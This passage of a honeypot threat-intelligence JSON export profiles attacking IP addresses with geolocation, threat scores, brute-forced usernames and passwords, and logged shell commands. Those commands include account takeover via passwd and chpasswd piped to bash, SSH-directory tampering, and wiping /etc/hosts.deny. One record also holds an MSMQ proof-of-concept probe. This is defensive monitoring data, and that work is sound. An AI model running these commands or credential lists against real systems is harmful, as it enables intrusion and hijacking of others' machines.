        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 8.3,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 1305,
        "days_active_30d": 10,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T03:58:50.238000+00:00",
        "last_seen_30d": "2026-03-12T08:31:22.261000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1057,
        "Cowrie": 248
      }
    },
    "27.0.217.148": {
      "attack_count": 218,
      "first_seen": "2026-03-10T23:25:35.422Z",
      "last_seen": "2026-03-10T23:31:24.001Z",
      "sessions": 109,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Jodhpur",
      "asn": 24186,
      "as_org": "RailTel Corporation of India Ltd",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 328,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:25:35.422000+00:00",
        "last_seen_30d": "2026-03-10T23:32:32.358000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 110
      }
    },
    "43.160.255.12": {
      "attack_count": 190,
      "first_seen": "2026-03-11T21:28:03.352Z",
      "last_seen": "2026-03-16T20:14:02.585Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "online",
        "yzh",
        "hr",
        "jan",
        "lekaren",
        "passbolt",
        "root",
        "student5",
        "vpn",
        "xx"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "123456Abc",
        "hr123!",
        "lekarenpass",
        "vpnpass",
        "xx123",
        "yzh123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\nINoCzbJGO0XM\\nINoCzbJGO0XM\\n\"|passwd",
        "echo \"yzh123456\\nQHCz9LV8Z39T\\nQHCz9LV8Z39T\\n\"|passwd",
        "echo -e \"123456\\nINoCzbJGO0XM\\nINoCzbJGO0XM\"|passwd|bash",
        "echo -e \"yzh123456\\nQHCz9LV8Z39T\\nQHCz9LV8Z39T\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T21:28:03.352000+00:00",
        "last_seen_30d": "2026-03-16T20:15:03.146000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 190,
        "Suricata": 34
      }
    },
    "186.23.238.60": {
      "attack_count": 171,
      "first_seen": "2026-03-31T15:55:16.420Z",
      "last_seen": "2026-03-31T16:29:04.095Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Hello2024",
        "Mavi2024",
        "QWERTY!@#",
        "amber1",
        "backup2024",
        "zhimakaimen",
        "zxcASD123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:GkEOknwoVlso\"|chpasswd|bash",
        "echo \"root:vjtTPBfxT3ZL\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 27747,
      "as_org": "Telecentro S.A.",
      "threat_score": 35.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 197,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T15:55:16.420000+00:00",
        "last_seen_30d": "2026-03-31T16:30:06.452000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 171,
        "Suricata": 26
      }
    },
    "160.251.251.171": {
      "attack_count": 161,
      "first_seen": "2026-03-11T23:40:00.510Z",
      "last_seen": "2026-03-12T00:07:08.466Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "maarch",
        "admin",
        "n8n",
        "root"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "3245gs5662d34",
        "Qwerty123",
        "Test1234.",
        "maarch",
        "n8n"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"maarch\\ngmjcCeTYmik8\\ngmjcCeTYmik8\\n\"|passwd",
        "echo \"n8n\\nQYUjWMvwcxSL\\nQYUjWMvwcxSL\\n\"|passwd",
        "echo -e \"maarch\\ngmjcCeTYmik8\\ngmjcCeTYmik8\"|passwd|bash",
        "echo -e \"n8n\\nQYUjWMvwcxSL\\nQYUjWMvwcxSL\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 58791,
      "as_org": "GMO Internet Group, Inc.",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T23:40:00.510000+00:00",
        "last_seen_30d": "2026-03-12T00:13:23.741000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 161,
        "Suricata": 25
      }
    },
    "103.72.147.77": {
      "attack_count": 144,
      "first_seen": "2026-03-24T08:14:56.144Z",
      "last_seen": "2026-03-24T08:44:23.083Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "p",
        "345gs5662d34",
        "arch",
        "bill",
        "ftp2",
        "huawei",
        "ken",
        "logviewer",
        "lrendon",
        "ms",
        "prod",
        "raj",
        "root",
        "sa",
        "tuan",
        "vanessa"
      ],
      "passwords_attempted": [
        "password",
        "3245gs5662d34",
        "345gs5662d34",
        "Abcd1234@",
        "Logviewer",
        "Ms123!",
        "Vanessa123",
        "bill",
        "ftp2",
        "huawei123",
        "ken@123456",
        "p",
        "prodprod",
        "rajraj",
        "tuan"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"p\\nt5LufZB43L8W\\nt5LufZB43L8W\\n\"|passwd",
        "echo -e \"p\\nt5LufZB43L8W\\nt5LufZB43L8W\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 184,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T08:14:56.144000+00:00",
        "last_seen_30d": "2026-03-24T08:45:24.607000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 40
      }
    },
    "49.200.178.146": {
      "attack_count": 119,
      "first_seen": "2026-03-06T02:55:49.245Z",
      "last_seen": "2026-03-06T03:22:00.546Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "timemachine",
        "345gs5662d34",
        "ashok",
        "kusanagi",
        "saad",
        "sammy",
        "shiyi",
        "user5",
        "username",
        "wade",
        "ys"
      ],
      "passwords_attempted": [
        "12345",
        "123",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "saad123",
        "sammypass",
        "username123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345\\nKktMnOXHT0xj\\nKktMnOXHT0xj\\n\"|passwd",
        "echo -e \"12345\\nKktMnOXHT0xj\\nKktMnOXHT0xj\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 45820,
      "as_org": "Tata Teleservices ISP AS",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T02:55:49.245000+00:00",
        "last_seen_30d": "2026-03-06T03:23:10.492000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 29
      }
    },
    "51.68.226.87": {
      "attack_count": 119,
      "first_seen": "2026-03-18T15:57:26.794Z",
      "last_seen": "2026-03-18T16:14:28.762Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "vas",
        "345gs5662d34",
        "appuser",
        "desktop",
        "erpnext",
        "julian",
        "kali",
        "lee",
        "sansforensics"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Desktop123",
        "Kali123",
        "Lee123!",
        "Sansforensics123!",
        "appuser1234",
        "helloworld",
        "online@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\nbesLZ88J8XPm\\nbesLZ88J8XPm\\n\"|passwd",
        "echo -e \"12345678\\nbesLZ88J8XPm\\nbesLZ88J8XPm\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 19.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T15:57:26.794000+00:00",
        "last_seen_30d": "2026-03-18T16:15:33.919000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 27
      }
    },
    "165.227.15.71": {
      "attack_count": 115,
      "first_seen": "2026-03-27T01:06:10.504Z",
      "last_seen": "2026-03-27T01:07:13.687Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "",
        "\u0000 \u0000 \u0000 \u0000<\u0000a\u0000c\u0000t\u0000i\u0000o\u0000n\u0000>\u0000M\u0000S\u0000M\u0000Q\u0000:\u0000p\u0000o\u0000c\u0000<\u0000/\u0000a\u0000c\u0000t\u0000i\u0000o\u0000n\u0000>\u0000\r",
        "\u0000 \u0000 \u0000 \u0000<\u0000i\u0000d\u0000>\u0000u\u0000u\u0000i\u0000d\u0000:\u00001\u0000@\u00000\u00000\u00000\u00000\u00000\u00000\u00000\u00000\u0000-\u00000\u00000\u00000\u00000\u0000-\u00000\u00000\u00000\u00000\u0000-\u00000\u00000\u00000\u00000\u0000-\u00000\u00000\u00000\u00000\u00000\u00000\u00000\u00000\u00000\u00000\u00000\u00000\u0000<\u0000/\u0000i\u0000d\u0000>\u0000\r",
        "\u0000 \u0000 \u0000 \u0000<\u0000s\u0000e\u0000n\u0000t\u0000A\u0000t\u0000>\u00002\u00000\u00002\u00003\u00000\u00007\u00002\u00004\u0000T\u00001\u00006\u00004\u00004\u00001\u00009\u0000<\u0000/\u0000s\u0000e\u0000n\u0000t\u0000A\u0000t\u0000>\u0000\r",
        "\u0000 \u0000<\u0000p\u0000r\u0000o\u0000p\u0000e\u0000r\u0000t\u0000i\u0000e\u0000s\u0000 \u0000s\u0000e\u0000:\u0000m\u0000u\u0000s\u0000t\u0000U\u0000n\u0000d\u0000e\u0000r\u0000s\u0000t\u0000a\u0000n\u0000d\u0000=\u0000\"\u00001\u0000\"\u0000>\u0000\r",
        "\u0000<\u0000/\u0000s\u0000e\u0000:\u0000E\u0000n\u0000v\u0000e\u0000l\u0000o\u0000p\u0000e\u0000>\u0000\r",
        "\u0000<\u0000/\u0000s\u0000e\u0000:\u0000H\u0000e\u0000a\u0000d\u0000e\u0000r\u0000>\u0000\r",
        "\u0000<\u0000s\u0000e\u0000:\u0000H\u0000e\u0000a\u0000d\u0000e\u0000r\u0000>\u0000\r",
        "   <expiresAt>20600609T164419</expiresAt>",
        "   <to>http://192.168.10.100/msmq/private$/queuejumper</to>",
        " </path>",
        " </properties>",
        " <path xmlns=\"http://schemas.xmlsoap.org/rp/\" se:mustUnderstand=\"1\">",
        "<se:Body></se:Body>",
        "Call-ID: 50000",
        "Contact: <sip:nm@nm>",
        "Content-Id: body@ff3af301-3196-497a-a918-72147c871a13",
        "Content-Type: application/octet-stream",
        "Content-Type: multipart/related; boundary=\"MSMQ - SOAP boundary, 53287\"; type=text/xml",
        "Content-Type: text/xml; charset=UTF-8"
      ],
      "passwords_attempted": [
        "",
        "--MSMQ - SOAP boundary, 53287",
        "\u0000\r",
        "\u0000 \u0000 \u0000 \u0000<\u0000e\u0000x\u0000p\u0000i\u0000r\u0000e\u0000s\u0000A\u0000t\u0000>\u00002\u00000\u00006\u00000\u00000\u00006\u00000\u00009\u0000T\u00001\u00006\u00004\u00004\u00001\u00009\u0000<\u0000/\u0000e\u0000x\u0000p\u0000i\u0000r\u0000e\u0000s\u0000A\u0000t\u0000>\u0000\r",
        "\u0000 \u0000 \u0000 \u0000<\u0000t\u0000o\u0000>\u0000h\u0000t\u0000t\u0000p\u0000:\u0000/\u0000/\u00001\u00009\u00002\u0000.\u00001\u00006\u00008\u0000.\u00001\u00000\u0000.\u00001\u00000\u00000\u0000/\u0000m\u0000s\u0000m\u0000q\u0000/\u0000p\u0000r\u0000i\u0000v\u0000a\u0000t\u0000e\u0000$\u0000/\u0000q\u0000u\u0000e\u0000u\u0000e\u0000j\u0000u\u0000m\u0000p\u0000e\u0000r\u0000<\u0000/\u0000t\u0000o\u0000>\u0000\r",
        "\u0000 \u0000<\u0000/\u0000p\u0000a\u0000t\u0000h\u0000>\u0000\r",
        "\u0000 \u0000<\u0000/\u0000p\u0000r\u0000o\u0000p\u0000e\u0000r\u0000t\u0000i\u0000e\u0000s\u0000>\u0000\r",
        "\u0000 \u0000<\u0000p\u0000a\u0000t\u0000h\u0000 \u0000x\u0000m\u0000l\u0000n\u0000s\u0000=\u0000\"\u0000h\u0000t\u0000t\u0000p\u0000:\u0000/\u0000/\u0000s\u0000c\u0000h\u0000e\u0000m\u0000a\u0000s\u0000.\u0000x\u0000m\u0000l\u0000s\u0000o\u0000a\u0000p\u0000.\u0000o\u0000r\u0000g\u0000/\u0000r\u0000p\u0000/\u0000\"\u0000 \u0000s\u0000e\u0000:\u0000m\u0000u\u0000s\u0000t\u0000U\u0000n\u0000d\u0000e\u0000r\u0000s\u0000t\u0000a\u0000n\u0000d\u0000=\u0000\"\u00001\u0000\"\u0000>\u0000\r",
        "\u0000<\u0000s\u0000e\u0000:\u0000B\u0000o\u0000d\u0000y\u0000>\u0000<\u0000/\u0000s\u0000e\u0000:\u0000B\u0000o\u0000d\u0000y\u0000>\u0000\r",
        "\u0000x\u0000m\u0000l\u0000n\u0000s\u0000=\u0000\"\u0000h\u0000t\u0000t\u0000p\u0000:\u0000/\u0000/\u0000s\u0000c\u0000h\u0000e\u0000m\u0000a\u0000s\u0000.\u0000x\u0000m\u0000l\u0000s\u0000o\u0000a\u0000p\u0000.\u0000o\u0000r\u0000g\u0000/\u0000s\u0000r\u0000m\u0000p\u0000/\u0000\"\u0000>\u0000\r",
        "\u0001\u0000",
        "   <action>MSMQ:poc</action>",
        "   <id>uuid:1@00000000-0000-0000-0000-000000000000</id>",
        "   <sentAt>20230724T164419</sentAt>",
        " <properties se:mustUnderstand=\"1\">",
        "</se:Envelope>",
        "</se:Header>",
        "<se:Envelope xmlns:se=\"http://schemas.xmlsoap.org/soap/envelope/\" ",
        "<se:Header>",
        "Accept: application/sdp"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 82.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.1,
        "persistence": 20.8,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 406,
        "days_active_30d": 25,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-07T07:34:59+00:00",
        "last_seen_30d": "2026-03-31T09:22:22.828000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 164,
        "Honeytrap": 120,
        "Cowrie": 115,
        "Ciscoasa": 7
      }
    },
    "103.183.62.1": {
      "attack_count": 114,
      "first_seen": "2026-03-08T21:40:46.445Z",
      "last_seen": "2026-03-08T22:03:11.408Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "cisco",
        "root",
        "345gs5662d34",
        "admin",
        "boss",
        "kibana",
        "kishore",
        "pengbo",
        "sm"
      ],
      "passwords_attempted": [
        "123",
        "000",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Lh123456@",
        "Sm123!",
        "boss123!",
        "k9jt3d",
        "kibana"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\nSJ2226qhHS6e\\nSJ2226qhHS6e\\n\"|passwd",
        "echo -e \"123\\nSJ2226qhHS6e\\nSJ2226qhHS6e\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 149636,
      "as_org": "Hasan Broadband Net",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T21:40:46.445000+00:00",
        "last_seen_30d": "2026-03-08T22:04:16.117000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 26
      }
    },
    "45.120.120.69": {
      "attack_count": 94,
      "first_seen": "2026-03-26T07:38:35.105Z",
      "last_seen": "2026-03-26T07:48:55.134Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "User",
        "345gs5662d34",
        "mahdi",
        "pwserver",
        "root",
        "user8"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "User",
        "password",
        "vps@2025"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"User\\nn5uDBxgDQoo2\\nn5uDBxgDQoo2\\n\"|passwd",
        "echo -e \"User\\nn5uDBxgDQoo2\\nn5uDBxgDQoo2\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 132933,
      "as_org": "Charotar Telelink Pvt Ltd",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T07:38:35.105000+00:00",
        "last_seen_30d": "2026-03-26T07:50:02.863000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 16
      }
    },
    "51.83.46.40": {
      "attack_count": 94,
      "first_seen": "2026-03-26T07:47:29.279Z",
      "last_seen": "2026-03-26T07:54:59.099Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "bkp",
        "345gs5662d34",
        "abc",
        "controlm",
        "pzserver",
        "yujie"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "abcpass",
        "controlm",
        "pzserver123!",
        "yujie123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\n7CGlIdg1zhJW\\n7CGlIdg1zhJW\\n\"|passwd",
        "echo -e \"12345678\\n7CGlIdg1zhJW\\n7CGlIdg1zhJW\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
